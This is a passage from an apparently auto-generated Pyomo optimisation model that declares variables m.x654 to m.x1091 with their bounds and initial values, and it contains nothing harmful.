m.x654 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x655 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x656 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x657 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x658 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x659 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x660 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x661 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x662 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x663 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x664 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x665 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x666 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x667 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x668 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x669 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x670 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x671 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x672 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x673 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x674 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x675 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x676 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x677 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x678 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x679 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x680 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x681 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x682 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x683 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x684 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x685 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x686 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x687 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x688 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x689 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x690 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x691 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x692 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x693 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x694 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x695 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x696 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x697 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x698 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x699 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x700 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x701 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x702 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x703 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x704 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x705 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x706 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x707 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x708 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x709 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x710 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x711 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x712 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x713 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x714 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x715 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x716 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x717 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x718 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x719 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x720 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x721 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x722 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x723 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x724 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x725 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x726 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x727 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x728 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x729 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x730 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x731 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x732 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x733 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x734 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x735 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x736 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x737 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x738 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x739 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x740 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x741 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x742 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x743 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x744 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x745 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x746 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x747 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x748 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x749 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x750 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x751 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x752 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x753 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x754 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x755 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x756 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x757 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x758 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x759 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x760 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x761 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x762 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x763 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x764 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x765 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x766 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x767 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x768 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x769 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x770 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x771 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x772 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x773 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x774 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x775 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x776 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x777 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x778 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x779 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x780 = Var(within=Reals,bounds=(0,None),initialize=130)
m.x781 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x782 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x783 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x784 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x785 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x786 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x787 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x788 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x789 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x790 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x791 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x792 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x793 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x794 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x795 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x796 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x797 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x798 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x799 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x800 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x801 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x802 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x803 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x804 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x805 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x806 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x807 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x808 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x809 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x810 = Var(within=Reals,bounds=(10,100000),initialize=2000)
m.x811 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x812 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x813 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x814 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x815 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x816 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x817 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x818 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x819 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x820 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x821 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x822 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x823 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x824 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x825 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x826 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x827 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x828 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x829 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x830 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x831 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x832 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x833 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x834 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x835 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x836 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x837 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x838 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x839 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x840 = Var(within=Reals,bounds=(0,0),initialize=0)
m.x841 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x842 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x843 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x844 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x845 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x846 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x847 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x848 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x849 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x850 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x851 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x852 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x853 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x854 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x855 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x856 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x857 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x858 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x859 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x860 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x861 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x862 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x863 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x864 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x865 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x866 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x867 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x868 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x869 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x870 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x871 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x872 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x873 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x874 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x875 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x876 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x877 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x878 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x879 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x880 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x881 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x882 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x883 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x884 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x885 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x886 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x887 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x888 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x889 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x890 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x891 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x892 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x893 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x894 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x895 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x896 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x897 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x898 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x899 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x900 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x901 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x902 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x903 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x904 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x905 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x906 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x907 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x908 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x909 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x910 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x911 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x912 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x913 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x914 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x915 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x916 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x917 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x918 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x919 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x920 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x921 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x922 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x923 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x924 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x925 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x926 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x927 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x928 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x929 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x930 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x931 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x932 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x933 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x934 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x935 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x936 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x937 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x938 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x939 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x940 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x941 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x942 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x943 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x944 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x945 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x946 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x947 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x948 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x949 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x950 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x951 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x952 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x953 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x954 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x955 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x956 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x957 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x958 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x959 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x960 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x961 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x962 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x963 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x964 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x965 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x966 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x967 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x968 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x969 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x970 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x971 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x972 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x973 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x974 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x975 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x976 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x977 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x978 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x979 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x980 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x981 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x982 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x983 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x984 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x985 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x986 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x987 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x988 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x989 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x990 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x991 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x992 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x993 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x994 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x995 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x996 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x997 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x998 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x999 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1000 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1001 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1002 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1003 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1004 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1005 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1006 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1007 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1008 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1009 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1010 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1011 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1012 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1013 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1014 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1015 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1016 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1017 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1018 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1019 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1020 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1021 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1022 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1023 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1024 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1025 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1026 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1027 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1028 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1029 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1030 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1031 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1032 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1033 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1034 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1035 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1036 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1037 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1038 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1039 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1040 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1041 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1042 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1043 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1044 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1045 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1046 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1047 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1048 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1049 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1050 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1051 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1052 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1053 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1054 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1055 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1056 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1057 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1058 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1059 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1060 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1061 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1062 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1063 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1064 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1065 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1066 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1067 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1068 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1069 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1070 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1071 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1072 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1073 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1074 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1075 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1076 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1077 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1078 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1079 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1080 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1081 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1082 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1083 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1084 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1085 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1086 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1087 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1088 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1089 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1090 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
m.x1091 = Var(within=Reals,bounds=(0,None),initialize=166.666666666667)
